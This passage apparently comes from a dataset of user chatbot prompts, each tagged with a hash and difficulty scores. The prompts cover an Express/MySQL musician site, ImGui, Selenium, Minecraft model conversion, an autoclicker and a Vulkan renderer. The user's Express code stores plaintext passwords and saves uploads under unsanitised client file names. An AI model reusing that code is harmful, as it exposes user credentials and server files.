}; if (req.files && req.files.thumbnail) { const file = req.files.thumbnail; const filename = "musician_" + file.name; file.mv("./public/img/" + filename); newMusician.thumbnail = filename; } connection.query("INSERT INTO users SET ?", newMusician, (err, result) => { if (err) { console.error("Ошибка при регистрации нового музыканта: ", err); res.status(500).send("Ошибка регистрации"); } else { req.session.musicianId = result.insertId; res.redirect("/profile/" + result.insertId); } }); } } }); } }); app.get("/profile/:id", (req, res) => { getMusicianById(parseInt(req.params.id), (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); res.status(500).send("Ошибка при получении данных"); } else { if (musician) { res.render("profile", { musician: musician, city:'', query:'', role:'' }); } else { res.status(404).send("Musician not found"); } } }); }); app.get("/login", (req, res) => { res.render("login"); }); app.post("/login", (req, res) => { connection.query("SELECT * FROM users WHERE login=? AND password=?", [req.body.login, req.body.password], (err, result) => { if (err) { console.error("Ошибка при входе: ", err); res.status(500).send("Ошибка при входе"); } else { if (result.length > 0) { req.session.musicianId = result[0].id; res.redirect("/profile/" + result[0].id); } else { res.render("login", { error: "Invalid login or password" }); } } } ); }); app.get("/logout", (req, res) => { req.session.destroy(); res.redirect("/"); }); app.get('/search', (req, res) => { let query = req.query.query || ''; const role = req.query.role || ''; const city = req.query.city || ''; const genre = req.query.genre || ''; if (query || role || city || genre) { search(query, role, city, genre, (err, musicians) => { if (err) { res.status(500).send("Ошибка при выполнении поиска"); } else { app.locals.JSON = JSON; res.render('search', { musicians, query, role, city, genre, citiesAndRegions}); } }); } else { // Use the getMusicians function instead of reading from musicians.json getMusicians((err, musiciansList) => { if (err) { res.status(500).send("Ошибка при получении списка музыкантов"); } else { const musicians = musiciansList.map(musician => { return { name: musician.name, genre: musician.genre, originalName: musician.name, profileLink: `/profile/${musician.id}`, thumbnail: musician.thumbnail, soundcloud: musician.soundcloud, role: musician.role, city: musician.city }; }); app.locals.JSON = JSON; res.render('search', { musicians, query, role, city, genre, citiesAndRegions}); } }); } }); app.get("/profile/:id/edit", requireLogin, (req, res) => { getMusicianById(parseInt(req.params.id), (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); res.status(500).send("Ошибка при получении данных"); } else { if (musician) { if (req.session.musicianId === musician.id) { // Check if the logged-in user is the owner of the profile res.render("edit-profile", { musician: musician }); } else { res.status(403).send("Access denied"); } } else { res.status(404).send("Musician not found"); } } }); }); app.post("/profile/:id/edit", requireLogin, (req, res) => { const musicianId = parseInt(req.params.id); getMusicianById(musicianId, (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); res.status(500).send("Ошибка при получении данных"); } else { if (musician) { const updatedMusician = { name: req.body.name, genre: req.body.genre, instrument: req.body.instrument, soundcloud: req.body.soundcloud, soundcloud1: req.body.soundcloud1, city: req.body.city, role: req.body.role, bio: req.body.bio, }; if (req.files && req.files.thumbnail) { const file = req.files.thumbnail; const filename = "musician_" + musicianId + "_" + file.name; file.mv("./public/img/" + filename); updatedMusician.thumbnail = filename; } connection.query("UPDATE users SET ? WHERE id=?", [updatedMusician, musicianId], (err, result) => { if (err) { console.error("Ошибка при обновлении профиля музыканта: ", err); res.status(500).send("Ошибка при обновлении профиля"); } else { res.redirect("/profile/" + musicianId); } }); } else { res.status(404).send("Musician not found"); } } }); }); function isValidSoundCloudUrl(url) { return url.startsWith('https://soundcloud.com/'); } app.listen(3000, () => { console.log("Server started on port 3000"); }); переделай функцию поиска под sql
f530271ad7dfb3d2b73dcf90d8fbd6ab
{ "intermediate": 0.30573520064353943, "beginner": 0.5545246005058289, "expert": 0.13974013924598694 }
11,766
write me a Web scraping python program
c5da69d53709967e4d05975bbe927789
{ "intermediate": 0.4213344156742096, "beginner": 0.23790904879570007, "expert": 0.3407565653324127 }
11,767
i wanna save some struct variables with imgui::SaveIniSettingsToDisk and nlohmann json library, show snippet how to do it
625fcfa1bd03dd154f35b5e697f3e296
{ "intermediate": 0.7817269563674927, "beginner": 0.09930920600891113, "expert": 0.11896383762359619 }
11,768
ImVec2 windowPos = ImGui::GetWindowPos(); ImVec2 windowSize = ImGui::GetWindowSize(); // Calculate the position of the button ImVec2 buttonPos(windowPos.x + windowSize.x / 2 - 50, windowPos.y + windowSize.y - 40); does this snippet will place button on bottom-left side of window?
64b7ced3e539c45e51ddbbf5e2db13dc
{ "intermediate": 0.40258514881134033, "beginner": 0.2822169363498688, "expert": 0.3151979148387909 }
11,769
how to make antDesign divider dark themed?
95deba574e2f3023fe14ac5e7e0d0eb2
{ "intermediate": 0.2907211482524872, "beginner": 0.34679490327835083, "expert": 0.362483948469162 }
11,770
По какой-то причине подсказки (автокомплит) с городами при поиске дублируются, при вводе города предлагает по несколько названий одного и того же города. В базе данных города НЕ ДУБЛИРУЮТСЯ. Например, ввожу город Москва, мне выдает Москва, Москва, Москва, Москва. Количество городов зависит, как я понимаю, от количества пользователей, у которых этот город задан, скорее всего. Вот код: const express = require("express"); const fs = require("fs"); const session = require("express-session"); const fileUpload = require("express-fileupload"); const app = express(); const fuzzball = require("fuzzball"); const mysql = require('mysql'); const connection = mysql.createConnection({ host: 'localhost', user: 'music', // замените на свой логин password: 'password', // замените на свой пароль database: 'music' // замените на свою базу данных }); connection.connect((err) => { if (err) { console.error('Ошибка подключения к базе данных: ', err); } else { console.log('Подключение к базе данных успешно'); } }); app.set("view engine", "ejs"); app.use(express.static("public")); app.use(express.urlencoded({ extended: true })); app.use(fileUpload()); app.use(session({ secret: "mysecretkey", resave: false, saveUninitialized: false })); const citiesAndRegions = JSON.parse(fs.readFileSync("./db/russia.json", "utf8")); //const predefinedGenres = ['Rock', 'Pop', 'Jazz', 'Hip Hop', 'Electronic', 'Blues']; // Функция для получения последних музыкантов, зарегистрированных музыкантов function getLastNRegisteredMusicians(N, callback) { connection.query("SELECT * FROM users ORDER BY id DESC LIMIT ?", [N], (err, result) => { if (err) { console.error("Ошибка при получении последних зарегистрированных музыкантов: ", err); return callback(err); } else { return callback(null, result); } }); } function getMusicians(callback) { connection.query("SELECT * FROM users", (err, result) => { if (err) { console.error("Ошибка при получении списка музыкантов: ", err); return callback(err); } else { return callback(null, result); } }); } // Функция для получения музыканта по id function getMusicianById(id, callback) { connection.query("SELECT * FROM users WHERE id=?", [id], (err, result) => { if (err) { console.error("Ошибка при получении музыканта с id ${id}: ", err); return typeof callback === 'function' && callback(err); } else { return typeof callback === 'function' && callback(null, result[0]); } }); } function requireLogin(req, res, next) { if (req.session.musicianId) { next(); } else { res.redirect("/login"); } } //функция поиска function search(query = '', role = '', city = '', genre = '', callback) { let results = []; // Формируем запрос на выборку с базы данных в зависимости от переданных параметров поиска let queryStr = "SELECT * FROM users WHERE (name LIKE ? OR genre LIKE ?)"; let queryParams = ['%' + query + '%', '%' + query + '%']; if (role !== '') { queryStr += " AND role = ?"; queryParams.push(role); } if (city !== '') { queryStr += " AND city = ?"; queryParams.push(city); } if (genre !== '') { queryStr += " AND genre = ?"; queryParams.push(genre); } // Выполняем запрос к базе данных connection.query(queryStr, queryParams, (err, resultsDB) => { if (err) { console.error("Ошибка при выполнении запроса: ", err); return callback(err); } else { // Формируем список музыкантов на основе результата запроса results = resultsDB.map(musician => { return { name: musician.name, genre: musician.genre, originalName: musician.name, profileLink: `/profile/${musician.id}`, thumbnail: musician.thumbnail, soundcloud: musician.soundcloud, role: musician.role, city: musician.city }; }); // Удаляем дубликаты из списка results = results.filter((result, index, self) => index === self.findIndex(r => ( r.name === result.name && r.genre === result.genre && r.city === result.city )) ); // Сортируем по score (у словарей scoreA и scoreB значения по умолчанию равны 0, так что сортировка по алфавиту) results.sort((a, b) => { let scoreA = 0; let scoreB = 0; if (a.name.toLowerCase().includes(query)) { scoreA++; } if (a.genre.toLowerCase().includes(query)) { scoreA++; } if (b.name.toLowerCase().includes(query)) { scoreB++; } if (b.genre.toLowerCase().includes(query)) { scoreB++; } // Сортировка по score (убывающая) return scoreB - scoreA; }); // Вызываем callback-функцию с результатами поиска return callback(null, results); } }); } app.use((req, res, next) => { if (req.session.musicianId) { getMusicianById(req.session.musicianId, (err, musician) => { if (err) { console.error("Ошибка при получении current user: ", err); } else { res.locals.musician = musician; res.locals.userLoggedIn = true; res.locals.username = musician.name; } }); } else { res.locals.userLoggedIn = false; } next(); }); app.get("/", (req, res) => { getLastNRegisteredMusicians(5, (err, lastRegisteredMusicians) => { if (err) { console.error("Ошибка при получении последних зарегистрированных музыкантов: ", err); res.status(500).send("Ошибка получения данных"); } else { res.render("index", { musicians: lastRegisteredMusicians, query:'',city:'',role:'',genre:'' }); } }); }); app.get("/autocomplete/cities", async (req, res) => { const searchString = req.query.term; connection.query( "SELECT city FROM users WHERE city LIKE ?", [searchString + '%'], (error, results, fields) => { if (error) { console.error("Ошибка выполнения запроса: ", error); res.status(500).send("Ошибка выполнения запроса"); } else { const cities = results.map(row => row.city); res.json(cities); } } ); }); app.get("/register", (req, res) => { if (req.session.musicianId) { const musician = getMusicianById(req.session.musicianId); res.redirect("/profile/" + musician.id); } else { res.render("register", { citiesAndRegions, city:'', query:'',role:'' }); } }); app.post("/register", (req, res) => { if (req.session.musicianId) { getMusicianById(req.session.musicianId, (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); } else { res.redirect("/profile/" + musician.id); } }); } else { // Проверка на уникальность логина connection.query("SELECT * FROM users WHERE login=?", [req.body.login], (err, result) => { if (err) { console.error("Ошибка при проверке логина: ", err); res.status(500).send("Ошибка при регистрации"); } else { if (result.length > 0) { res.render("register", { error: "This login is already taken", citiesAndRegions, city:'', query:'', role:'' }); } else { const newMusician = { name: req.body.name, genre: req.body.genre, instrument: req.body.instrument, soundcloud: req.body.soundcloud, password: req.body.password, role: req.body.role, city: req.body.city, login: req.body.login, }; if (req.files && req.files.thumbnail) { const file = req.files.thumbnail; const filename = "musician_" + file.name; file.mv("./public/img/" + filename); newMusician.thumbnail = filename; } connection.query("INSERT INTO users SET ?", newMusician, (err, result) => { if (err) { console.error("Ошибка при регистрации нового музыканта: ", err); res.status(500).send("Ошибка регистрации"); } else { req.session.musicianId = result.insertId; res.redirect("/profile/" + result.insertId); } }); } } }); } }); app.get("/profile/:id", (req, res) => { getMusicianById(parseInt(req.params.id), (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); res.status(500).send("Ошибка при получении данных"); } else { if (musician) { res.render("profile", { musician: musician, city:'', query:'', role:'' }); } else { res.status(404).send("Musician not found"); } } }); }); app.get("/login", (req, res) => { res.render("login"); }); app.post("/login", (req, res) => { connection.query("SELECT * FROM users WHERE login=? AND password=?", [req.body.login, req.body.password], (err, result) => { if (err) { console.error("Ошибка при входе: ", err); res.status(500).send("Ошибка при входе"); } else { if (result.length > 0) { req.session.musicianId = result[0].id; res.redirect("/profile/" + result[0].id); } else { res.render("login", { error: "Invalid login or password" }); } } } ); }); app.get("/logout", (req, res) => { req.session.destroy(); res.redirect("/"); }); app.get('/search', (req, res) => { let query = req.query.query || ''; const role = req.query.role || ''; const city = req.query.city || ''; const genre = req.query.genre || ''; if (query || role || city || genre) { search(query, role, city, genre, (err, musicians) => { if (err) { res.status(500).send("Ошибка при выполнении поиска"); } else { app.locals.JSON = JSON; res.render('search', { musicians, query, role, city, genre, citiesAndRegions}); } }); } else { // Use the getMusicians function instead of reading from musicians.json getMusicians((err, musiciansList) => { if (err) { res.status(500).send("Ошибка при получении списка музыкантов"); } else { const musicians = musiciansList.map(musician => { return { name: musician.name, genre: musician.genre, originalName: musician.name, profileLink: `/profile/${musician.id}`, thumbnail: musician.thumbnail, soundcloud: musician.soundcloud, role: musician.role, city: musician.city }; }); app.locals.JSON = JSON; res.render('search', { musicians, query, role, city, genre, citiesAndRegions}); } }); } }); app.get("/profile/:id/edit", requireLogin, (req, res) => { getMusicianById(parseInt(req.params.id), (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); res.status(500).send("Ошибка при получении данных"); } else { if (musician) { if (req.session.musicianId === musician.id) { // Check if the logged-in user is the owner of the profile res.render("edit-profile", { musician: musician }); } else { res.status(403).send("Access denied"); } } else { res.status(404).send("Musician not found"); } } }); }); app.post("/profile/:id/edit", requireLogin, (req, res) => { const musicianId = parseInt(req.params.id); getMusicianById(musicianId, (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); res.status(500).send("Ошибка при получении данных"); } else { if (musician) { const updatedMusician = { name: req.body.name, genre: req.body.genre, instrument: req.body.instrument, soundcloud: req.body.soundcloud, soundcloud1: req.body.soundcloud1, city: req.body.city, role: req.body.role, bio: req.body.bio, }; if (req.files && req.files.thumbnail) { const file = req.files.thumbnail; const filename = "musician_" + musicianId + "_" + file.name; file.mv("./public/img/" + filename); updatedMusician.thumbnail = filename; } connection.query("UPDATE users SET ? WHERE id=?", [updatedMusician, musicianId], (err, result) => { if (err) { console.error("Ошибка при обновлении профиля музыканта: ", err); res.status(500).send("Ошибка при обновлении профиля"); } else { res.redirect("/profile/" + musicianId); } }); } else { res.status(404).send("Musician not found"); } } }); }); function isValidSoundCloudUrl(url) { return url.startsWith('https://soundcloud.com/'); } app.listen(3000, () => { console.log("Server started on port 3000"); });
92e2e7ebbc1d913a020177f3f833da16
{ "intermediate": 0.3547738194465637, "beginner": 0.4187585413455963, "expert": 0.22646766901016235 }
11,771
i have three images s1.jpg, s2.jpg, s3.jpg, I want to display s1.jpg with a button “next”, after the user click the next button, s1.jpg will fade out to left, and then the s2.jpg will fade in from right to left with a button next. after the user click the next button, s2.jpg will fade ot and then s3.jpg will fade in. Please give me html
f552984b346ceb5985868fcb8efc0d1c
{ "intermediate": 0.363118052482605, "beginner": 0.24250495433807373, "expert": 0.3943769335746765 }
11,772
how to set UnexpectedAlertBehaviour in selenium 4.0
32b9ee6802ed74be0f2a6b17e0a53ef2
{ "intermediate": 0.33046552538871765, "beginner": 0.1232103556394577, "expert": 0.5463241338729858 }
11,773
I have an html page. There is a img src with "s1.jpg" and a button "next". when the user click the button, the img src will change to s2.jpg, s3.jpg. I need the image have fade in effect when they are loading.
5539987987097ce31767948ee262cb22
{ "intermediate": 0.38670140504837036, "beginner": 0.22366175055503845, "expert": 0.3896368145942688 }
11,774
how to convert minecraft worldedit .schematic to 3d model like .stl or .obj
8aed04a957412678c65716f60d111c6d
{ "intermediate": 0.37115299701690674, "beginner": 0.3904950022697449, "expert": 0.23835204541683197 }
11,775
I have a Spring boot application and want to store JSON data for later use. The key to store and retrieve this data is a user id string. what would be the best practice to do that?
d4c73b9252334f1097123b78f9eee73c
{ "intermediate": 0.6612098813056946, "beginner": 0.1642836481332779, "expert": 0.17450644075870514 }
11,776
i have this object { type: 'SHORT_CODE', sms: true, whatsapp: false, phone: '1234', country: 'HR:Croatia', numberkey: '123456', isDedicated: false } and i want to change numberkey to numberKey using array spread operator,how do i do that ?
4b9ecde3bc333d4d37d9ab4524ffe8ad
{ "intermediate": 0.5196848511695862, "beginner": 0.19845327734947205, "expert": 0.2818618714809418 }
11,777
ImVec2 windowPos = ImGui::GetWindowPos(); ImVec2 windowSize = ImGui::GetWindowSize(); // Calculate the position of the button ImVec2 buttonPos(windowPos.x + 10, windowPos.y + windowSize.y - 30); ImGui::SetCursorPos(buttonPos); if ( ImGui::Button("Save current Settings")) for some reason after using those snippet and creating button on bottom-left side in my imgui window slider appears, and to see that button i should slide window down. changing window size doesn’t fix that
e1e85112e4d4f88c632fa71a843848fc
{ "intermediate": 0.49555304646492004, "beginner": 0.24734382331371307, "expert": 0.2571031451225281 }
11,778
How can I make a AI that can play Geometry Dash and beat levels?
1f20ccfafaed5cb69e2968bc6bbdf458
{ "intermediate": 0.11243994534015656, "beginner": 0.12610748410224915, "expert": 0.7614525556564331 }
11,779
Please write me some JS function that returns a string with comma seperated attribute values from each element on the page that has the attribute "data-adid".
5a9291879c3e2f30b4e36be984cd1c6d
{ "intermediate": 0.5623084902763367, "beginner": 0.291507363319397, "expert": 0.14618411660194397 }
11,780
write a code that converts Minecraft WorldEdit .schematic files to .obj file format and maps the block IDs to their corresponding textures using Java
050b5affe6ae2dc7fc36d50f5416d327
{ "intermediate": 0.6620559096336365, "beginner": 0.09116838127374649, "expert": 0.24677567183971405 }
11,781
how css fade in from left to right effect
73345b4221b24526caf9c4b61646c479
{ "intermediate": 0.3922120928764343, "beginner": 0.37650105357170105, "expert": 0.23128682374954224 }
11,782
list a few methods how i could make am human like autoclicker with cps drops and other stuff
0021b195ab1fab4f6bcc35cb86663b11
{ "intermediate": 0.4707098603248596, "beginner": 0.2598886489868164, "expert": 0.26940152049064636 }
11,783
Write me a .cmd file that: - Checks if a python installation exist - If it does not it logs it in the output and quit silently - Otherwise It runs the following command: pip install --upgrade X and display meaningful logs - When done quit silently otherwise it shoud log any eventual error - The logs should contain timestamps and should be of the following format: *************** Starting installation *************** [26-05-2023 15:00:25.62] blablabla [26-05-2023 15:00:25.62] blablabla [26-05-2023 15:00:25.62] ... [26-05-2023 15:00:25.62] blablabla *************** Ending installation ***************
d13b01b5334eb1d310d16f0de1fb12dc
{ "intermediate": 0.5085174441337585, "beginner": 0.19941186904907227, "expert": 0.2920706868171692 }
11,784
code me a code to loop throug my file
e834ec24e3f51cf5b47efdb676490a43
{ "intermediate": 0.27239009737968445, "beginner": 0.5156813859939575, "expert": 0.21192847192287445 }
11,785
AttributeError: 'float' object has no attribute 'lower'
010dd01652b31080787baaf21927a7ac
{ "intermediate": 0.4892359673976898, "beginner": 0.2319844514131546, "expert": 0.2787795960903168 }
11,786
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. Here is a portion of the code: Renderer.h: #pragma once #include <vulkan/vulkan.h> #include "Window.h" #include <vector> #include <stdexcept> #include <set> #include <optional> #include <iostream> #include "Pipeline.h" #include "Material.h" #include "Mesh.h" struct QueueFamilyIndices { std::optional<uint32_t> graphicsFamily; std::optional<uint32_t> presentFamily; bool IsComplete() { return graphicsFamily.has_value() && presentFamily.has_value(); } }; struct SwapChainSupportDetails { VkSurfaceCapabilitiesKHR capabilities; std::vector<VkSurfaceFormatKHR> formats; std::vector<VkPresentModeKHR> presentModes; }; struct MVP { glm::mat4 model; glm::mat4 view; glm::mat4 projection; }; class Renderer { public: Renderer(); ~Renderer(); void Initialize(GLFWwindow* window); void Shutdown(); void BeginFrame(); void EndFrame(); VkDescriptorSetLayout CreateDescriptorSetLayout(); VkDescriptorPool CreateDescriptorPool(uint32_t maxSets); VkDevice* GetDevice(); VkPhysicalDevice* GetPhysicalDevice(); VkCommandPool* GetCommandPool(); VkQueue* GetGraphicsQueue(); VkCommandBuffer* GetCurrentCommandBuffer(); std::shared_ptr<Pipeline> GetPipeline(); void CreateGraphicsPipeline(Mesh* mesh, Material* material); std::pair<VkBuffer, VkDeviceMemory> RequestMvpBuffer(); private: bool isShutDown = false; static const uint32_t kMvpBufferCount = 3; std::vector<VkBuffer> mvpBuffers; std::vector<VkDeviceMemory> mvpBufferMemory; uint32_t currentMvpBufferIndex = 0; bool shutdownInProgress; uint32_t currentCmdBufferIndex = 0; std::vector<size_t> currentFramePerImage; std::vector<VkImage> swapChainImages; std::vector<VkImageView> swapChainImageViews; VkExtent2D swapChainExtent; VkRenderPass renderPass; uint32_t imageIndex; std::shared_ptr<Pipeline> pipeline; VkFormat swapChainImageFormat; std::vector<VkCommandBuffer> commandBuffers; void CreateImageViews(); void CleanupImageViews(); void CreateRenderPass(); void CleanupRenderPass(); void CreateSurface(); void DestroySurface(); void CreateInstance(); void CleanupInstance(); void ChoosePhysicalDevice(); void CreateDevice(); void CleanupDevice(); void CreateSwapchain(); void CleanupSwapchain(); void CreateCommandPool(); void CleanupCommandPool(); void CreateFramebuffers(); void CleanupFramebuffers(); void CreateCommandBuffers(); void CleanupCommandBuffers(); void Present(); GLFWwindow* window; VkInstance instance = VK_NULL_HANDLE; VkPhysicalDevice physicalDevice = VK_NULL_HANDLE; VkDevice device = VK_NULL_HANDLE; VkSurfaceKHR surface; VkSwapchainKHR swapchain; VkCommandPool commandPool; VkCommandBuffer currentCommandBuffer; std::vector<VkFramebuffer> framebuffers; // Additional Vulkan objects needed for rendering… const uint32_t kMaxFramesInFlight = 2; std::vector<VkSemaphore> imageAvailableSemaphores; std::vector<VkSemaphore> renderFinishedSemaphores; std::vector<VkFence> inFlightFences; size_t currentFrame; VkQueue graphicsQueue; VkQueue presentQueue; void CreateSyncObjects(); void CleanupSyncObjects(); SwapChainSupportDetails querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface); VkSurfaceFormatKHR chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats); VkPresentModeKHR chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes); VkExtent2D chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window); std::vector<const char*> deviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME }; std::vector<const char*> CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice); QueueFamilyIndices GetQueueFamilyIndices(VkPhysicalDevice physicalDevice); }; Renderer.cpp: #include "Renderer.h" Renderer::Renderer() : currentFrame(0), shutdownInProgress(false) { } Renderer::~Renderer() { Shutdown(); } void Renderer::Initialize(GLFWwindow* window) { this->window = window; CreateInstance(); CreateSurface(); ChoosePhysicalDevice(); CreateDevice(); // Create the MVP buffers mvpBuffers.resize(kMvpBufferCount); mvpBufferMemory.resize(kMvpBufferCount); for (uint32_t i = 0; i < kMvpBufferCount; ++i) { BufferUtils::CreateBuffer(device, *GetPhysicalDevice(), sizeof(MVP), VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, mvpBuffers[i], mvpBufferMemory[i]); } CreateSwapchain(); CreateRenderPass(); CreateCommandPool(); CreateFramebuffers(); CreateSyncObjects(); } void Renderer::Shutdown() { if (isShutDown) { return; } if (shutdownInProgress) { return; } shutdownInProgress = true; if (device != VK_NULL_HANDLE) { vkDeviceWaitIdle(device); } CleanupFramebuffers(); CleanupRenderPass(); CleanupSyncObjects(); CleanupCommandPool(); CleanupImageViews(); CleanupSwapchain(); // Destroy the MVP buffers for (uint32_t i = 0; i < kMvpBufferCount; ++i) { vkDestroyBuffer(device, mvpBuffers[i], nullptr); vkFreeMemory(device, mvpBufferMemory[i], nullptr); } if (device != VK_NULL_HANDLE) { CleanupDevice(); } DestroySurface(); CleanupInstance(); shutdownInProgress = false; isShutDown = true; } void Renderer::BeginFrame() { // Wait for any previous work on this swapchain image to complete vkWaitForFences(device, 1, &inFlightFences[currentFrame], VK_TRUE, UINT64_MAX); vkResetFences(device, 1, &inFlightFences[currentFrame]); // Acquire an image from the swapchain, then begin recording commands for the current frame. VkResult acquireResult = vkAcquireNextImageKHR(device, swapchain, UINT64_MAX, imageAvailableSemaphores[currentFrame], VK_NULL_HANDLE, &imageIndex); if (acquireResult != VK_SUCCESS && acquireResult != VK_SUBOPTIMAL_KHR) { throw std::runtime_error("Failed to acquire next swapchain image."); } VkCommandBufferBeginInfo beginInfo{}; beginInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; //currentCommandBuffer = commandBuffers[currentFrame]; currentCmdBufferIndex = (currentCmdBufferIndex + 1) % 2; currentCommandBuffer = commandBuffers[currentFrame * 2 + currentCmdBufferIndex]; // Add debug message before vkBeginCommandBuffer //std::cout << "Current Frame: " << currentFrame << " | Cmd Buffer Index: " << currentCmdBufferIndex << " | Image Index: " << imageIndex << "\n"; //std::cout << "Calling vkBeginCommandBuffer…\n"; vkBeginCommandBuffer(currentCommandBuffer, &beginInfo); //std::cout << "vkBeginCommandBuffer called…\n"; VkRenderPassBeginInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO; renderPassInfo.renderPass = renderPass; renderPassInfo.framebuffer = framebuffers[imageIndex]; renderPassInfo.renderArea.offset = { 0, 0 }; renderPassInfo.renderArea.extent = swapChainExtent; // Set the clear color to black VkClearValue clearColor = { 0.0f, 0.0f, 0.0f, 1.0f }; renderPassInfo.clearValueCount = 1; renderPassInfo.pClearValues = &clearColor; vkCmdBeginRenderPass(currentCommandBuffer, &renderPassInfo, VK_SUBPASS_CONTENTS_INLINE); } void Renderer::EndFrame() { vkCmdEndRenderPass(currentCommandBuffer); VkSubmitInfo submitInfo{}; submitInfo.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; VkPipelineStageFlags waitStages[] = { VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT }; submitInfo.waitSemaphoreCount = 1; submitInfo.pWaitSemaphores = &imageAvailableSemaphores[currentFrame]; submitInfo.pWaitDstStageMask = waitStages; submitInfo.commandBufferCount = 1; submitInfo.pCommandBuffers = &currentCommandBuffer; submitInfo.signalSemaphoreCount = 1; submitInfo.pSignalSemaphores = &renderFinishedSemaphores[currentFrame]; vkEndCommandBuffer(currentCommandBuffer); vkQueueSubmit(graphicsQueue, 1, &submitInfo, inFlightFences[currentFrame]); VkPresentInfoKHR presentInfo{}; presentInfo.sType = VK_STRUCTURE_TYPE_PRESENT_INFO_KHR; presentInfo.waitSemaphoreCount = 1; presentInfo.pWaitSemaphores = &renderFinishedSemaphores[currentFrame]; VkSwapchainKHR swapChains[] = { swapchain }; presentInfo.swapchainCount = 1; presentInfo.pSwapchains = swapChains; presentInfo.pImageIndices = &imageIndex; VkResult queuePresentResult = vkQueuePresentKHR(presentQueue, &presentInfo); //std::cout << "Frame rendered: " << currentFrame << "\n"; if (queuePresentResult == VK_ERROR_OUT_OF_DATE_KHR || queuePresentResult == VK_SUBOPTIMAL_KHR) { // Handle swapchain recreation if needed, e.g., due to resizing the window or other swapchain properties changes } else if (queuePresentResult != VK_SUCCESS) { throw std::runtime_error("Failed to present the swapchain image."); } currentFrame = (currentFrame + 1) % kMaxFramesInFlight; } void Renderer::CreateSurface() { if (glfwCreateWindowSurface(instance, window, nullptr, &surface) != VK_SUCCESS) { throw std::runtime_error("Failed to create a window surface."); } } void Renderer::DestroySurface() { vkDestroySurfaceKHR(instance, surface, nullptr); } void Renderer::CreateInstance() { // Set up the application info VkApplicationInfo appInfo{}; appInfo.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO; appInfo.pApplicationName = "Game Engine"; appInfo.applicationVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.pEngineName = "Game Engine"; appInfo.engineVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.apiVersion = VK_API_VERSION_1_2; // Set up the instance create info VkInstanceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO; createInfo.pApplicationInfo = &appInfo; // Set up the required extensions uint32_t glfwExtensionCount = 0; const char** glfwExtensions; glfwExtensions = glfwGetRequiredInstanceExtensions(&glfwExtensionCount); createInfo.enabledExtensionCount = glfwExtensionCount; createInfo.ppEnabledExtensionNames = glfwExtensions; createInfo.enabledLayerCount = 0; std::vector<const char*> validationLayers; #ifdef NDEBUG const bool enableValidationLayers = false; #else const bool enableValidationLayers = true; validationLayers.push_back("VK_LAYER_KHRONOS_validation"); #endif if (enableValidationLayers) { // Check if validation layers are supported uint32_t layerCount; vkEnumerateInstanceLayerProperties(&layerCount, nullptr); std::vector<VkLayerProperties> availableLayers(layerCount); vkEnumerateInstanceLayerProperties(&layerCount, availableLayers.data()); for (const char* layerName : validationLayers) { bool layerFound = false; for (const auto& layerProperties : availableLayers) { if (strcmp(layerName, layerProperties.layerName) == 0) { layerFound = true; break; } } if (!layerFound) { throw std::runtime_error("Validation layer requested, but it’s not available."); } } // Enable the validation layers createInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size()); createInfo.ppEnabledLayerNames = validationLayers.data(); } else { createInfo.enabledLayerCount = 0; } // Create the Vulkan instance if (vkCreateInstance(&createInfo, nullptr, &instance) != VK_SUCCESS) { throw std::runtime_error("Failed to create the Vulkan instance."); } } void Renderer::CleanupInstance() { // Destroy the Vulkan instance vkDestroyInstance(instance, nullptr); } void Renderer::ChoosePhysicalDevice() { // Enumerate the available physical devices and choose one that supports required features uint32_t deviceCount = 0; vkEnumeratePhysicalDevices(instance, &deviceCount, nullptr); if (deviceCount == 0) { throw std::runtime_error("Failed to find a GPU with Vulkan support."); } std::vector<VkPhysicalDevice> allDevices(deviceCount); vkEnumeratePhysicalDevices(instance, &deviceCount, allDevices.data()); for (const auto& testDevice : allDevices) { if (glfwGetPhysicalDevicePresentationSupport(instance, testDevice, 0) && CheckPhysicalDeviceExtensionSupport(testDevice).empty() && GetQueueFamilyIndices(testDevice).IsComplete()) { VkPhysicalDeviceFeatures supportedFeatures; vkGetPhysicalDeviceFeatures(testDevice, &supportedFeatures); // Check for anisotropic filtering support if (supportedFeatures.samplerAnisotropy) { physicalDevice = testDevice; break; } } } if (physicalDevice == VK_NULL_HANDLE) { throw std::runtime_error("Failed to find a suitable GPU."); } } void Renderer::CreateDevice() { // Get the GPU’s queue family indices const QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); // Set up the device queue create info std::vector<VkDeviceQueueCreateInfo> queueCreateInfos; std::set<uint32_t> uniqueQueueFamilyIndices = { indices.graphicsFamily.value(),indices.presentFamily.value() }; float queuePriority = 1.0f; for (uint32_t queueFamilyIndex : uniqueQueueFamilyIndices) { VkDeviceQueueCreateInfo queueCreateInfo{}; queueCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO; queueCreateInfo.queueFamilyIndex = 